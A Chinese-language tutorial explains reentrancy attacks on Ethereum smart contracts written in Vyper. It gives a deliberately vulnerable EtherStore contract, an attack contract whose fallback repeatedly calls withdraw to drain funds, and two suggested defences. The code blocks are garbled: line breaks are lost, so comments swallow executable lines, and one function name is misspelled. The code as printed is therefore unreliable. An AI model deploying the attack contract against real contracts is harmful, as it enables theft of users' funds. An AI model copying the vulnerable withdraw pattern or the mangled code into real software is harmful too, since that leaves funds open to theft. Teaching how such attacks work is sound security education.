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什么是重入攻击

Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时，就会发生重入攻击。然后，不可信合约会递归调用原始函数，试图耗尽资金。

当合约在发送资金之前未能更新其状态时，攻击者可以不断调用提取函数以耗尽合约资金。一个著名的真实世界重入攻击案例是DAO攻击，导致损失了6000万美元。

重入攻击工作原理

重入攻击涉及两个智能合约。一个是易受攻击的合约，另一个是攻击者的不可信合约。

重入攻击场景

1. 易受攻击的智能合约有10个ETH。
2. 攻击者使用存款函数存入1个ETH。
3. 攻击者调用提取函数，并将恶意合约作为接收者。
4. 现在提取函数将验证它是否可以执行：

• 攻击者在其余额上有1个ETH吗？是的，因为他们的存款。
• 向恶意合约转移1个ETH。（注意：攻击者的余额尚未更新）
• 恶意合约接收到ETH后的回退函数再次调用提取函数。

现在提取函数将再次验证它是否可以执行：

• 攻击者在其余额上有1个ETH吗？是的，因为余额尚未更新。
• 向恶意合约转移1个ETH。
• 如此反复，直到攻击者耗尽合约中的所有资金。

Vyper重入攻击

可能大家对solidity的智能合约重入攻击比较熟悉，本次文章中，我们将以Vyper的代码展示重入攻击的漏洞。

Vyper存在重入攻击的代码示例

# @version >=0.3.2"""
@notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later.
This contract is vulnerable to re-entrancy attack. Here is the attack flow:
1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore.
2. Deploy the Attack contract.
3. Call the Attack contract's attack function sending 1 ether (using Account 3 (Eve)).You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
"""# @notice Mapping from address to ETH balance held in the contract
balances: public(HashMap[address, uint256])# @notice Function to deposit ETH into the contract
@external
@payable
def deposit():self.balances[msg.sender] += msg.value# @notice Function to withdraw the ETH deposited into the contract
@external
def withdraw():bal: uint256 = self.balances[msg.sender]assert bal > 0, "This account does not have a balance"# @dev Send the user's balance to them using raw callraw_call(msg.sender, b'', value=bal)# @dev Set user's balance to 0self.balances[msg.sender] = 0# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance

Vyper利用上述重入漏洞的攻击合约

# @version >=0.3.2"""
@notice Here is the order of function calls during the attack
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.ldefault (receives 1 Ether)
"""# @notice Interface with the Etherstore contract
interface IEtherstore:def deposit(): payabledef withdraw(): nonpayabledef getBalance() -> uint256: view# @notice The address where the Etherstore contract is deployed
victim: public(address)# @notice Set the victim address
@external
def setVictim(_victim:address):self.victim = _victim# @notice Default is called when EtherStore sends ETH to this contract.
@external
@payable
def __default__():# @dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)if IEtherstore(self.victim).getBalance() >= as_wei_value(1, "ether"):IEtherstore(self.victim).withdraw()@external
@payable
def attack():assert msg.value >= as_wei_value(1, "ether"), "Must send 1 ETH"IEtherstore(self.victim).deposit(value=as_wei_value(1, "ether"))IEtherstore(self.victim).withdraw()# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance

Vyper重入漏洞防御措施

1. 使用 send() 代替 call()：重入攻击将失败，因为 send() 不会转发足够的 gas 进行下一步操作。

2. 使用 @nonreentrant(<key>) 修饰符：在你的提取函数上应用此修饰符将阻止重入攻击。

总结

在这篇文章中，我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁，当合约在发送资金之前未能更新其状态时，攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见，在Vyper智能合约中同样应该注意！